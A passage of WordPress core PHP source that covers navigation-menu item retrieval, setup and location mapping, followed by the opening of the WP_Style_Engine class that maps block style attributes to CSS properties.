 *     @type string $post_type              Menu items post type. Default 'nav_menu_item'.
 *     @type string $post_status            Menu items post status. Default 'publish'.
 *     @type string $output                 How to order outputted menu items. Default ARRAY_A.
 *     @type string $output_key             Key to use for ordering the actual menu items that get
 *                                          returned. Note that that is not a get_posts() argument
 *                                          and will only affect output of menu items processed in
 *                                          this function. Default 'menu_order'.
 *     @type bool   $nopaging               Whether to retrieve all menu items (true) or paginate
 *                                          (false). Default true.
 *     @type bool   $update_menu_item_cache Whether to update the menu item cache. Default true.
 * }
 * @return array|false Array of menu items, otherwise false.
 */
function wp_get_nav_menu_items( $menu, $args = array() ) {
	$menu = wp_get_nav_menu_object( $menu );

	if ( ! $menu ) {
		return false;
	}

	if ( ! taxonomy_exists( 'nav_menu' ) ) {
		return false;
	}

	$defaults = array(
		'order'                  => 'ASC',
		'orderby'                => 'menu_order',
		'post_type'              => 'nav_menu_item',
		'post_status'            => 'publish',
		'output'                 => ARRAY_A,
		'output_key'             => 'menu_order',
		'nopaging'               => true,
		'update_menu_item_cache' => true,
		'tax_query'              => array(
			array(
				'taxonomy' => 'nav_menu',
				'field'    => 'term_taxonomy_id',
				'terms'    => $menu->term_taxonomy_id,
			),
		),
	);
	$args     = wp_parse_args( $args, $defaults );
	if ( $menu->count > 0 ) {
		$items = get_posts( $args );
	} else {
		$items = array();
	}

	$items = array_map( 'wp_setup_nav_menu_item', $items );

	if ( ! is_admin() ) { // Remove invalid items only on front end.
		$items = array_filter( $items, '_is_valid_nav_menu_item' );
	}

	if ( ARRAY_A === $args['output'] ) {
		$items = wp_list_sort(
			$items,
			array(
				$args['output_key'] => 'ASC',
			)
		);

		$i = 1;

		foreach ( $items as $k => $item ) {
			$items[ $k ]->{$args['output_key']} = $i++;
		}
	}

	/**
	 * Filters the navigation menu items being returned.
	 *
	 * @since 3.0.0
	 *
	 * @param array  $items An array of menu item post objects.
	 * @param object $menu  The menu object.
	 * @param array  $args  An array of arguments used to retrieve menu item objects.
	 */
	return apply_filters( 'wp_get_nav_menu_items', $items, $menu, $args );
}

/**
 * Updates post and term caches for all linked objects for a list of menu items.
 *
 * @since 6.1.0
 *
 * @param WP_Post[] $menu_items Array of menu item post objects.
 */
function update_menu_item_cache( $menu_items ) {
	$post_ids = array();
	$term_ids = array();

	foreach ( $menu_items as $menu_item ) {
		if ( 'nav_menu_item' !== $menu_item->post_type ) {
			continue;
		}

		$object_id = get_post_meta( $menu_item->ID, '_menu_item_object_id', true );
		$type      = get_post_meta( $menu_item->ID, '_menu_item_type', true );

		if ( 'post_type' === $type ) {
			$post_ids[] = (int) $object_id;
		} elseif ( 'taxonomy' === $type ) {
			$term_ids[] = (int) $object_id;
		}
	}

	if ( ! empty( $post_ids ) ) {
		_prime_post_caches( $post_ids, false );
	}

	if ( ! empty( $term_ids ) ) {
		_prime_term_caches( $term_ids );
	}
}

/**
 * Decorates a menu item object with the shared navigation menu item properties.
 *
 * Properties:
 * - ID:               The term_id if the menu item represents a taxonomy term.
 * - attr_title:       The title attribute of the link element for this menu item.
 * - classes:          The array of class attribute values for the link element of this menu item.
 * - db_id:            The DB ID of this item as a nav_menu_item object, if it exists (0 if it doesn't exist).
 * - description:      The description of this menu item.
 * - menu_item_parent: The DB ID of the nav_menu_item that is this item's menu parent, if any. 0 otherwise.
 * - object:           The type of object originally represented, such as 'category', 'post', or 'attachment'.
 * - object_id:        The DB ID of the original object this menu item represents, e.g. ID for posts and term_id for categories.
 * - post_parent:      The DB ID of the original object's parent object, if any (0 otherwise).
 * - post_title:       A "no title" label if menu item represents a post that lacks a title.
 * - target:           The target attribute of the link element for this menu item.
 * - title:            The title of this menu item.
 * - type:             The family of objects originally represented, such as 'post_type' or 'taxonomy'.
 * - type_label:       The singular label used to describe this type of menu item.
 * - url:              The URL to which this menu item points.
 * - xfn:              The XFN relationship expressed in the link of this menu item.
 * - _invalid:         Whether the menu item represents an object that no longer exists.
 *
 * @since 3.0.0
 *
 * @param object $menu_item The menu item to modify.
 * @return object The menu item with standard menu item properties.
 */
function wp_setup_nav_menu_item( $menu_item ) {

	/**
	 * Filters whether to short-circuit the wp_setup_nav_menu_item() output.
	 *
	 * Returning a non-null value from the filter will short-circuit wp_setup_nav_menu_item(),
	 * returning that value instead.
	 *
	 * @since 6.3.0
	 *
	 * @param object|null $modified_menu_item Modified menu item. Default null.
	 * @param object      $menu_item          The menu item to modify.
	 */
	$pre_menu_item = apply_filters( 'pre_wp_setup_nav_menu_item', null, $menu_item );

	if ( null !== $pre_menu_item ) {
		return $pre_menu_item;
	}

	if ( isset( $menu_item->post_type ) ) {
		if ( 'nav_menu_item' === $menu_item->post_type ) {
			$menu_item->db_id            = (int) $menu_item->ID;
			$menu_item->menu_item_parent = ! isset( $menu_item->menu_item_parent ) ? get_post_meta( $menu_item->ID, '_menu_item_menu_item_parent', true ) : $menu_item->menu_item_parent;
			$menu_item->object_id        = ! isset( $menu_item->object_id ) ? get_post_meta( $menu_item->ID, '_menu_item_object_id', true ) : $menu_item->object_id;
			$menu_item->object           = ! isset( $menu_item->object ) ? get_post_meta( $menu_item->ID, '_menu_item_object', true ) : $menu_item->object;
			$menu_item->type             = ! isset( $menu_item->type ) ? get_post_meta( $menu_item->ID, '_menu_item_type', true ) : $menu_item->type;

			if ( 'post_type' === $menu_item->type ) {
				$object = get_post_type_object( $menu_item->object );
				if ( $object ) {
					$menu_item->type_label = $object->labels->singular_name;
					// Denote post states for special pages (only in the admin).
					if ( function_exists( 'get_post_states' ) ) {
						$menu_post   = get_post( $menu_item->object_id );
						$post_states = get_post_states( $menu_post );
						if ( $post_states ) {
							$menu_item->type_label = wp_strip_all_tags( implode( ', ', $post_states ) );
						}
					}
				} else {
					$menu_item->type_label = $menu_item->object;
					$menu_item->_invalid   = true;
				}

				if ( 'trash' === get_post_status( $menu_item->object_id ) ) {
					$menu_item->_invalid = true;
				}

				$original_object = get_post( $menu_item->object_id );

				if ( $original_object ) {
					$menu_item->url = get_permalink( $original_object->ID );
					/** This filter is documented in wp-includes/post-template.php */
					$original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID );
				} else {
					$menu_item->url      = '';
					$original_title      = '';
					$menu_item->_invalid = true;
				}

				if ( '' === $original_title ) {
					/* translators: %d: ID of a post. */
					$original_title = sprintf( __( '#%d (no title)' ), $menu_item->object_id );
				}

				$menu_item->title = ( '' === $menu_item->post_title ) ? $original_title : $menu_item->post_title;

			} elseif ( 'post_type_archive' === $menu_item->type ) {
				$object = get_post_type_object( $menu_item->object );
				if ( $object ) {
					$menu_item->title      = ( '' === $menu_item->post_title ) ? $object->labels->archives : $menu_item->post_title;
					$post_type_description = $object->description;
				} else {
					$post_type_description = '';
					$menu_item->_invalid   = true;
				}

				$menu_item->type_label = __( 'Post Type Archive' );
				$post_content          = wp_trim_words( $menu_item->post_content, 200 );
				$post_type_description = ( '' === $post_content ) ? $post_type_description : $post_content;
				$menu_item->url        = get_post_type_archive_link( $menu_item->object );

			} elseif ( 'taxonomy' === $menu_item->type ) {
				$object = get_taxonomy( $menu_item->object );
				if ( $object ) {
					$menu_item->type_label = $object->labels->singular_name;
				} else {
					$menu_item->type_label = $menu_item->object;
					$menu_item->_invalid   = true;
				}

				$original_object = get_term( (int) $menu_item->object_id, $menu_item->object );

				if ( $original_object && ! is_wp_error( $original_object ) ) {
					$menu_item->url = get_term_link( (int) $menu_item->object_id, $menu_item->object );
					$original_title = $original_object->name;
				} else {
					$menu_item->url      = '';
					$original_title      = '';
					$menu_item->_invalid = true;
				}

				if ( '' === $original_title ) {
					/* translators: %d: ID of a term. */
					$original_title = sprintf( __( '#%d (no title)' ), $menu_item->object_id );
				}

				$menu_item->title = ( '' === $menu_item->post_title ) ? $original_title : $menu_item->post_title;

			} else {
				$menu_item->type_label = __( 'Custom Link' );
				$menu_item->title      = $menu_item->post_title;
				$menu_item->url        = ! isset( $menu_item->url ) ? get_post_meta( $menu_item->ID, '_menu_item_url', true ) : $menu_item->url;
			}

			$menu_item->target = ! isset( $menu_item->target ) ? get_post_meta( $menu_item->ID, '_menu_item_target', true ) : $menu_item->target;

			/**
			 * Filters a navigation menu item's title attribute.
			 *
			 * @since 3.0.0
			 *
			 * @param string $item_title The menu item title attribute.
			 */
			$menu_item->attr_title = ! isset( $menu_item->attr_title ) ? apply_filters( 'nav_menu_attr_title', $menu_item->post_excerpt ) : $menu_item->attr_title;

			if ( ! isset( $menu_item->description ) ) {
				/**
				 * Filters a navigation menu item's description.
				 *
				 * @since 3.0.0
				 *
				 * @param string $description The menu item description.
				 */
				$menu_item->description = apply_filters( 'nav_menu_description', wp_trim_words( $menu_item->post_content, 200 ) );
			}

			$menu_item->classes = ! isset( $menu_item->classes ) ? (array) get_post_meta( $menu_item->ID, '_menu_item_classes', true ) : $menu_item->classes;
			$menu_item->xfn     = ! isset( $menu_item->xfn ) ? get_post_meta( $menu_item->ID, '_menu_item_xfn', true ) : $menu_item->xfn;
		} else {
			$menu_item->db_id            = 0;
			$menu_item->menu_item_parent = 0;
			$menu_item->object_id        = (int) $menu_item->ID;
			$menu_item->type             = 'post_type';

			$object                = get_post_type_object( $menu_item->post_type );
			$menu_item->object     = $object->name;
			$menu_item->type_label = $object->labels->singular_name;

			if ( '' === $menu_item->post_title ) {
				/* translators: %d: ID of a post. */
				$menu_item->post_title = sprintf( __( '#%d (no title)' ), $menu_item->ID );
			}

			$menu_item->title  = $menu_item->post_title;
			$menu_item->url    = get_permalink( $menu_item->ID );
			$menu_item->target = '';

			/** This filter is documented in wp-includes/nav-menu.php */
			$menu_item->attr_title = apply_filters( 'nav_menu_attr_title', '' );

			/** This filter is documented in wp-includes/nav-menu.php */
			$menu_item->description = apply_filters( 'nav_menu_description', '' );
			$menu_item->classes     = array();
			$menu_item->xfn         = '';
		}
	} elseif ( isset( $menu_item->taxonomy ) ) {
		$menu_item->ID               = $menu_item->term_id;
		$menu_item->db_id            = 0;
		$menu_item->menu_item_parent = 0;
		$menu_item->object_id        = (int) $menu_item->term_id;
		$menu_item->post_parent      = (int) $menu_item->parent;
		$menu_item->type             = 'taxonomy';

		$object                = get_taxonomy( $menu_item->taxonomy );
		$menu_item->object     = $object->name;
		$menu_item->type_label = $object->labels->singular_name;

		$menu_item->title       = $menu_item->name;
		$menu_item->url         = get_term_link( $menu_item, $menu_item->taxonomy );
		$menu_item->target      = '';
		$menu_item->attr_title  = '';
		$menu_item->description = get_term_field( 'description', $menu_item->term_id, $menu_item->taxonomy );
		$menu_item->classes     = array();
		$menu_item->xfn         = '';

	}

	/**
	 * Filters a navigation menu item object.
	 *
	 * @since 3.0.0
	 *
	 * @param object $menu_item The menu item object.
	 */
	return apply_filters( 'wp_setup_nav_menu_item', $menu_item );
}

/**
 * Returns the menu items associated with a particular object.
 *
 * @since 3.0.0
 *
 * @param int    $object_id   Optional. The ID of the original object. Default 0.
 * @param string $object_type Optional. The type of object, such as 'post_type' or 'taxonomy'.
 *                            Default 'post_type'.
 * @param string $taxonomy    Optional. If $object_type is 'taxonomy', $taxonomy is the name
 *                            of the tax that $object_id belongs to. Default empty.
 * @return int[] The array of menu item IDs; empty array if none.
 */
function wp_get_associated_nav_menu_items( $object_id = 0, $object_type = 'post_type', $taxonomy = '' ) {
	$object_id     = (int) $object_id;
	$menu_item_ids = array();

	$query      = new WP_Query();
	$menu_items = $query->query(
		array(
			'meta_key'       => '_menu_item_object_id',
			'meta_value'     => $object_id,
			'post_status'    => 'any',
			'post_type'      => 'nav_menu_item',
			'posts_per_page' => -1,
		)
	);
	foreach ( (array) $menu_items as $menu_item ) {
		if ( isset( $menu_item->ID ) && is_nav_menu_item( $menu_item->ID ) ) {
			$menu_item_type = get_post_meta( $menu_item->ID, '_menu_item_type', true );
			if (
				'post_type' === $object_type &&
				'post_type' === $menu_item_type
			) {
				$menu_item_ids[] = (int) $menu_item->ID;
			} elseif (
				'taxonomy' === $object_type &&
				'taxonomy' === $menu_item_type &&
				get_post_meta( $menu_item->ID, '_menu_item_object', true ) == $taxonomy
			) {
				$menu_item_ids[] = (int) $menu_item->ID;
			}
		}
	}

	return array_unique( $menu_item_ids );
}

/**
 * Callback for handling a menu item when its original object is deleted.
 *
 * @since 3.0.0
 * @access private
 *
 * @param int $object_id The ID of the original object being trashed.
 */
function _wp_delete_post_menu_item( $object_id ) {
	$object_id = (int) $object_id;

	$menu_item_ids = wp_get_associated_nav_menu_items( $object_id, 'post_type' );

	foreach ( (array) $menu_item_ids as $menu_item_id ) {
		wp_delete_post( $menu_item_id, true );
	}
}

/**
 * Serves as a callback for handling a menu item when its original object is deleted.
 *
 * @since 3.0.0
 * @access private
 *
 * @param int    $object_id The ID of the original object being trashed.
 * @param int    $tt_id     Term taxonomy ID. Unused.
 * @param string $taxonomy  Taxonomy slug.
 */
function _wp_delete_tax_menu_item( $object_id, $tt_id, $taxonomy ) {
	$object_id = (int) $object_id;

	$menu_item_ids = wp_get_associated_nav_menu_items( $object_id, 'taxonomy', $taxonomy );

	foreach ( (array) $menu_item_ids as $menu_item_id ) {
		wp_delete_post( $menu_item_id, true );
	}
}

/**
 * Automatically add newly published page objects to menus with that as an option.
 *
 * @since 3.0.0
 * @access private
 *
 * @param string  $new_status The new status of the post object.
 * @param string  $old_status The old status of the post object.
 * @param WP_Post $post       The post object being transitioned from one status to another.
 */
function _wp_auto_add_pages_to_menu( $new_status, $old_status, $post ) {
	if ( 'publish' !== $new_status || 'publish' === $old_status || 'page' !== $post->post_type ) {
		return;
	}
	if ( ! empty( $post->post_parent ) ) {
		return;
	}
	$auto_add = get_option( 'nav_menu_options' );
	if ( empty( $auto_add ) || ! is_array( $auto_add ) || ! isset( $auto_add['auto_add'] ) ) {
		return;
	}
	$auto_add = $auto_add['auto_add'];
	if ( empty( $auto_add ) || ! is_array( $auto_add ) ) {
		return;
	}

	$args = array(
		'menu-item-object-id' => $post->ID,
		'menu-item-object'    => $post->post_type,
		'menu-item-type'      => 'post_type',
		'menu-item-status'    => 'publish',
	);

	foreach ( $auto_add as $menu_id ) {
		$items = wp_get_nav_menu_items( $menu_id, array( 'post_status' => 'publish,draft' ) );
		if ( ! is_array( $items ) ) {
			continue;
		}
		foreach ( $items as $item ) {
			if ( $post->ID == $item->object_id ) {
				continue 2;
			}
		}
		wp_update_nav_menu_item( $menu_id, 0, $args );
	}
}

/**
 * Deletes auto-draft posts associated with the supplied changeset.
 *
 * @since 4.8.0
 * @access private
 *
 * @param int $post_id Post ID for the customize_changeset.
 */
function _wp_delete_customize_changeset_dependent_auto_drafts( $post_id ) {
	$post = get_post( $post_id );

	if ( ! $post || 'customize_changeset' !== $post->post_type ) {
		return;
	}

	$data = json_decode( $post->post_content, true );
	if ( empty( $data['nav_menus_created_posts']['value'] ) ) {
		return;
	}
	remove_action( 'delete_post', '_wp_delete_customize_changeset_dependent_auto_drafts' );
	foreach ( $data['nav_menus_created_posts']['value'] as $stub_post_id ) {
		if ( empty( $stub_post_id ) ) {
			continue;
		}
		if ( 'auto-draft' === get_post_status( $stub_post_id ) ) {
			wp_delete_post( $stub_post_id, true );
		} elseif ( 'draft' === get_post_status( $stub_post_id ) ) {
			wp_trash_post( $stub_post_id );
			delete_post_meta( $stub_post_id, '_customize_changeset_uuid' );
		}
	}
	add_action( 'delete_post', '_wp_delete_customize_changeset_dependent_auto_drafts' );
}

/**
 * Handles menu config after theme change.
 *
 * @access private
 * @since 4.9.0
 */
function _wp_menus_changed() {
	$old_nav_menu_locations    = get_option( 'theme_switch_menu_locations', array() );
	$new_nav_menu_locations    = get_nav_menu_locations();
	$mapped_nav_menu_locations = wp_map_nav_menu_locations( $new_nav_menu_locations, $old_nav_menu_locations );

	set_theme_mod( 'nav_menu_locations', $mapped_nav_menu_locations );
	delete_option( 'theme_switch_menu_locations' );
}

/**
 * Maps nav menu locations according to assignments in previously active theme.
 *
 * @since 4.9.0
 *
 * @param array $new_nav_menu_locations New nav menu locations assignments.
 * @param array $old_nav_menu_locations Old nav menu locations assignments.
 * @return array Nav menus mapped to new nav menu locations.
 */
function wp_map_nav_menu_locations( $new_nav_menu_locations, $old_nav_menu_locations ) {
	$registered_nav_menus   = get_registered_nav_menus();
	$new_nav_menu_locations = array_intersect_key( $new_nav_menu_locations, $registered_nav_menus );

	// Short-circuit if there are no old nav menu location assignments to map.
	if ( empty( $old_nav_menu_locations ) ) {
		return $new_nav_menu_locations;
	}

	// If old and new theme have just one location, map it and we're done.
	if ( 1 === count( $old_nav_menu_locations ) && 1 === count( $registered_nav_menus ) ) {
		$new_nav_menu_locations[ key( $registered_nav_menus ) ] = array_pop( $old_nav_menu_locations );
		return $new_nav_menu_locations;
	}

	$old_locations = array_keys( $old_nav_menu_locations );

	// Map locations with the same slug.
	foreach ( $registered_nav_menus as $location => $name ) {
		if ( in_array( $location, $old_locations, true ) ) {
			$new_nav_menu_locations[ $location ] = $old_nav_menu_locations[ $location ];
			unset( $old_nav_menu_locations[ $location ] );
		}
	}

	// If there are no old nav menu locations left, then we're done.
	if ( empty( $old_nav_menu_locations ) ) {
		return $new_nav_menu_locations;
	}

	/*
	 * If old and new theme both have locations that contain phrases
	 * from within the same group, make an educated guess and map it.
	 */
	$common_slug_groups = array(
		array( 'primary', 'menu-1', 'main', 'header', 'navigation', 'top' ),
		array( 'secondary', 'menu-2', 'footer', 'subsidiary', 'bottom' ),
		array( 'social' ),
	);

	// Go through each group...
	foreach ( $common_slug_groups as $slug_group ) {

		// ...and see if any of these slugs...
		foreach ( $slug_group as $slug ) {

			// ...and any of the new menu locations...
			foreach ( $registered_nav_menus as $new_location => $name ) {

				// ...actually match!
				if ( is_string( $new_location ) && false === stripos( $new_location, $slug ) && false === stripos( $slug, $new_location ) ) {
					continue;
				} elseif ( is_numeric( $new_location ) && $new_location !== $slug ) {
					continue;
				}

				// Then see if any of the old locations...
				foreach ( $old_nav_menu_locations as $location => $menu_id ) {

					// ...and any slug in the same group...
					foreach ( $slug_group as $slug ) {

						// ... have a match as well.
						if ( is_string( $location ) && false === stripos( $location, $slug ) && false === stripos( $slug, $location ) ) {
							continue;
						} elseif ( is_numeric( $location ) && $location !== $slug ) {
							continue;
						}

						// Make sure this location wasn't mapped and removed previously.
						if ( ! empty( $old_nav_menu_locations[ $location ] ) ) {

							// We have a match that can be mapped!
							$new_nav_menu_locations[ $new_location ] = $old_nav_menu_locations[ $location ];

							// Remove the mapped location so it can't be mapped again.
							unset( $old_nav_menu_locations[ $location ] );

							// Go back and check the next new menu location.
							continue 3;
						}
					} // End foreach ( $slug_group as $slug ).
				} // End foreach ( $old_nav_menu_locations as $location => $menu_id ).
			} // End foreach foreach ( $registered_nav_menus as $new_location => $name ).
		} // End foreach ( $slug_group as $slug ).
	} // End foreach ( $common_slug_groups as $slug_group ).

	return $new_nav_menu_locations;
}

/**
 * Prevents menu items from being their own parent.
 *
 * Resets menu_item_parent to 0 when the parent is set to the item itself.
 * For use before saving `_menu_item_menu_item_parent` in nav-menus.php.
 *
 * @since 6.2.0
 * @access private
 *
 * @param array $menu_item_data The menu item data array.
 * @return array The menu item data with reset menu_item_parent.
 */
function _wp_reset_invalid_menu_item_parent( $menu_item_data ) {
	if ( ! is_array( $menu_item_data ) ) {
		return $menu_item_data;
	}

	if (
		! empty( $menu_item_data['ID'] ) &&
		! empty( $menu_item_data['menu_item_parent'] ) &&
		(int) $menu_item_data['ID'] === (int) $menu_item_data['menu_item_parent']
	) {
		$menu_item_data['menu_item_parent'] = 0;
	}

	return $menu_item_data;
}
<?php
/**
 * Style Engine: WP_Style_Engine class
 *
 * @package WordPress
 * @subpackage StyleEngine
 * @since 6.1.0
 */

/**
 * The main class integrating all other WP_Style_Engine_* classes.
 *
 * The Style Engine aims to provide a consistent API for rendering styling for blocks
 * across both client-side and server-side applications.
 *
 * This class is final and should not be extended.
 *
 * This class is for internal Core usage and is not supposed to be used by extenders
 * (plugins and/or themes). This is a low-level API that may need to do breaking changes.
 * Please, use wp_style_engine_get_styles() instead.
 *
 * @access private
 * @since 6.1.0
 * @since 6.3.0 Added support for text-columns.
 * @since 6.4.0 Added support for background.backgroundImage.
 * @since 6.5.0 Added support for background.backgroundPosition,
 *              background.backgroundRepeat and dimensions.aspectRatio.
 */
#[AllowDynamicProperties]
final class WP_Style_Engine {
	/**
	 * Style definitions that contain the instructions to parse/output valid Gutenberg styles from a block's attributes.
	 *
	 * For every style definition, the following properties are valid:
	 *
	 *  - classnames    => (array) an array of classnames to be returned for block styles. The key is a classname or pattern.
	 *                    A value of `true` means the classname should be applied always. Otherwise, a valid CSS property (string)
	 *                    to match the incoming value, e.g., "color" to match var:preset|color|somePresetSlug.
	 *  - css_vars      => (array) an array of key value pairs used to generate CSS var values.
	 *                     The key should be the CSS property name that matches the second element of the preset string value,
	 *                     i.e., "color" in var:preset|color|somePresetSlug. The value is a CSS var pattern (e.g. `--wp--preset--color--$slug`),
	 *                     whose `$slug` fragment will be replaced with the preset slug, which is the third element of the preset string value,
	 *                     i.e., `somePresetSlug` in var:preset|color|somePresetSlug.
	 *  - property_keys => (array) array of keys whose values represent a valid CSS property, e.g., "margin" or "border".
	 *  - path          => (array) a path that accesses the corresponding style value in the block style object.
	 *  - value_func    => (string) the name of a function to generate a CSS definition array for a particular style object. The output of this function should be `array( "$property" => "$value", ... )`.
	 *
	 * @since 6.1.0
	 * @var array
	 */
	const BLOCK_STYLE_DEFINITIONS_METADATA = array(
		'background' => array(
			'backgroundImage'    => array(
				'property_keys' => array(
					'default' => 'background-image',
				),
				'value_func'    => array( self::class, 'get_url_or_value_css_declaration' ),
				'path'          => array( 'background', 'backgroundImage' ),
			),
			'backgroundPosition' => array(
				'property_keys' => array(
					'default' => 'background-position',
				),
				'path'          => array( 'background', 'backgroundPosition' ),
			),
			'backgroundRepeat'   => array(
				'property_keys' => array(
					'default' => 'background-repeat',
				),
				'path'          => array( 'background', 'backgroundRepeat' ),
			),
			'backgroundSize'     => array(
				'property_keys' => array(
					'default' => 'background-size',
				),
				'path'          => array( 'background', 'backgroundSize' ),
			),
		),
		'color'      => array(
			'text'       => array(
				'property_keys' => array(
					'default' => 'color',
				),
				'path'          => array( 'color', 'text' ),
				'css_vars'      => array(
					'color' => '--wp--preset--color--$slug',
				),
				'classnames'    => array(
					'has-text-color'  => true,
					'has-$slug-color' => 'color',
				),
			),
			'background' => array(
				'property_keys' => array(
					'default' => 'background-color',
				),
				'path'          => array( 'color', 'background' ),
				'css_vars'      => array(
					'color' => '--wp--preset--color--$slug',
				),
				'classnames'    => array(
					'has-background'             => true,
					'has-$slug-background-color' => 'color',
				),
			),
			'gradient'   => array(
				'property_keys' => array(
					'default' => 'background',
				),
				'path'          => array( 'color', 'gradient' ),
				'css_vars'      => array(
					'gradient' => '--wp--preset--gradient--$slug',
				),
				'classnames'    => array(
					'has-background'                => true,
					'has-$slug-gradient-background' => 'gradient',
				),
			),
		),
		'border'     => array(
			'color'  => array(
				'property_keys' => array(
					'default'    => 'border-color',
					'individual' => 'border-%s-color',
				),
				'path'          => array( 'border', 'color' ),
				'classnames'    => array(
					'has-border-color'       => true,
					'has-$slug-border-color' => 'color',
				),
			),
			'radius' => array(
				'property_keys' => array(
					'default'    => 'border-radius',
					'individual' => 'border-%s-radius',
				),
				'path'          => array( 'border', 'radius' ),
			),
			'style'  => array(
				'property_keys' => array(
					'default'    => 'border-style',
					'individual' => 'border-%s-style',
				),
				'path'          => array( 'border', 'style' ),
			),
			'width'  => array(
				'property_keys' => array(
					'default'    => 'border-width',
					'individual' => 'border-%s-width',
				),
				'path'          => array( 'border', 'width' ),
			),
			'top'    => array(
				'value_func' => array( self::class, 'get_individual_property_css_declarations' ),
				'path'       => array( 'border', 'top' ),
				'css_vars'   => array(
					'color' => '--wp--preset--color--$slug',
				),
			),
			'right'  => array(
				'value_func' => array( self::class, 'get_individual_property_css_declarations' ),
				'path'       => array( 'border', 'right' ),
				'css_vars'   => array(
					'color' => '--wp--preset--color--$slug',
				),
			),
			'bottom' => array(
				'value_func' => array( self::class, 'get_individual_property_css_declarations' ),
				'path'       => array( 'border', 'bottom' ),
				'css_vars'   => array(
					'color' => '--wp--preset--color--$slug',
				),
			),
			'left'   => array(
				'value_func' => array( self::class, 'get_individual_property_css_declarations' ),
				'path'       => array( 'border', 'left' ),
				'css_vars'   => array(
					'color' => '--wp--preset--color--$slug',
				),
			),
		),
		'shadow'     => array(
			'shadow' => array(
				'property_keys' => array(
					'default' => 'box-shadow',
				),
				'path'          => array( 'shadow' ),
				'css_vars'      => array(
					'shadow' => '--wp--preset--shadow--$slug',
				),
			),
		),
		'dimensions' => array(
			'aspectRatio' => array(
				'property_keys' => array(
					'default' => 'aspect-ratio',
				),
				'path'          => array( 'dimensions', 'aspectRatio' ),
				'classnames'    => array(
					'has-aspect-ratio' => true,
				),
			),
			'minHeight'   => array(
				'property_keys' => array(
					'default' => 'min-height',
				),
				'path'          => array( 'dimensions', 'minHeight' ),
				'css_vars'      => array(
					'spacing' => '--wp--preset--spacing--$slug',
				),
			),
		),
		'spacing'    => array(
			'padding' => array(
				'property_keys' => array(
					'default'    => 'padding',
					'individual' => 'padding-%s',
				),
				'path'          => array( 'spacing', 'padding' ),
				'css_vars'      => array(
					'spacing' => '--wp--preset--spacing--$slug',
				),
			),
			'margin'  => array(
				'property_keys' => array(
					'default'    => 'margin',
					'individual' => 'margin-%s',
				),
				'path'          => array( 'spacing', 'margin' ),
				'css_vars'      => array(
					'spacing' => '--wp--preset--spacing--$slug',
				),
			),
		),
		'typography' => array(
			'fontSize'       => array(
				'property_keys' => array(
					'default' => 'font-size',
				),
				'path'          => array( 'typography', 'fontSize' ),
				'css_vars'      => array(
					'font-size' => '--wp--preset--font-size--$slug',
				),
				'classnames'    => array(
					'has-$slug-font-size' => 'font-size',
				),
			),
			'fontFamily'     => array(
				'property_keys' => array(
					'default' => 'font-family',
				),
				'css_vars'      => array(
					'font-family' => '--wp--preset--font-family--$slug',
				),
				'path'          => array( 'typography', 'fontFamily' ),
				'classnames'    => array(
					'has-$slug-font-family' => 'font-family',
				),
			),
			'fontStyle'      => array(
				'property_keys' => array(
					'default' => 'font-style',
				),
				'path'          => array( 'typography', 'fontStyle' ),
			),
			'fontWeight'     => array(
				'property_keys' => array(
					'default' => 'font-weight',
				),
				'path'          => array( 'typography', 'fontWeight' ),
			),
			'lineHeight'     => array(
				'property_keys' => array(
					'default' => 'line-height',
				),
				'path'          => array( 'typography', 'lineHeight' ),
			),
			'textColumns'    => array(
				'property_keys' => array(
					'default' => 'column-count',
				),
				'path'          => array( 'typography', 'textColumns' ),
			),
			'textDecoration' => array(
				'property_keys' => array(
					'default' => 'text-decoration',
				),
				'path'          => array( 'typography', 'textDecoration' ),
			),
			'textTransform'  => array(
				'property_keys' => array(
					'default' => 'text-transform',
				),
				'path'          => array( 'typography', 'textTransform' ),
			),
			'letterSpacing'  => array(
				'property_keys' => array(
					'default' => 'letter-spacing',
				),
				'path'          => array( 'typography', 'letterSpacing' ),
			),
		),
	);

	/**
	 * Util: Extracts the slug in kebab case from a preset string,
	 * e.g. `heavenly-blue` from `var:preset|color|heavenlyBlue`.
	 *
	 * @since 6.1.0
	 *
	 * @param string $style_value  A single CSS preset value.
	 * @param string $property_key The CSS property that is the second element of the preset string.
	 *                             Used for matching.
	 * @return string The slug, or empty string if not found.
	 */
	protected static function get_slug_from_preset_value( $style_value, $property_key ) {
		if ( is_string( $style_value ) && is_string( $property_key )
			&& str_contains( $style_value, "var:preset|{$property_key}|" )
		) {
			$index_to_splice = strrpos( $style_value, '|' ) + 1;
			return _wp_to_kebab_case( substr( $style_value, $index_to_splice ) );
		}
		return '';
	}

	/**
	 * Util: Generates a CSS var string, e.g. `var(--wp--preset--color--background)`
	 * from a preset string such as `var:preset|space|50`.
	 *
	 * @since 6.1.0
	 *
	 * @param string   $style_value  A single CSS preset value.
	 * @param string[] $css_vars     An associate array of CSS var patterns
	 *                               used to generate the var string.
	 * @return string The CSS var, or an empty string if no match for slug found.
	 */
	protected static function get_css_var_value( $style_value, $css_vars ) {
		foreach ( $css_vars as $property_key => $css_var_pattern ) {
			$slug = static::get_slug_from_preset_value( $style_value, $property_key );
			if ( static::is_valid_style_value( $slug ) ) {
				$var = strtr(
					$css_var_pattern,
					array( '$slug' => $slug )
				);
				return "var($var)";
			}
		}
		return '';
	}

	/**
	 * Util: Checks whether an incoming block style value is valid.
	 *
	 * @since 6.1.0
	 *
	 * @param string $style_value A single CSS preset value.
	 * @return bool
	 */
	protected static function is_valid_style_value( $style_value ) {
		return '0' === $style_value || ! empty( $style_value );
	}

	/**
	 * Stores a CSS rule using the provided CSS selector and CSS declarations.
	 *
	 * @since 6.1.0
	 *
	 * @param string   $store_name       A valid store key.
	 * @param string   $css_selector     When a selector is passed, the function will return
	 *                                   a full CSS rule `$selector { ...rules }`
	 *                                   otherwise a concatenated string of properties and values.
	 * @param string[] $css_declarations An associative array of CSS definitions,
	 *                                   e.g. `array( "$property" => "$value", "$property" => "$value" )`.
	 */
	public static function store_css_rule( $store_name, $css_selector, $css_declarations ) {
		if ( empty( $store_name ) || empty( $css_selector ) || empty( $css_declarations ) ) {
			return;
		}
		static::get_store( $store_name )->add_rule( $css_selector )->add_declarations( $css_declarations );
	}

	/**
	 * Returns a store by store key.
	 *
	 * @since 6.1.0
	 *
	 * @param string $store_name A store key.
	 * @return WP_Style_Engine_CSS_Rules_Store|null
	 */
	public static function get_store( $store_name ) {
		return WP_Style_Engine_CSS_Rules_Store::get_store( $store_name );
	}

	/**
	 * Returns classnames and CSS based on the values in a styles object.
	 *
	 * Return values are parsed based on the instructions in BLOCK_STYLE_DEFINITIONS_METADATA.
	 *
	 * @since 6.1.0
	 *
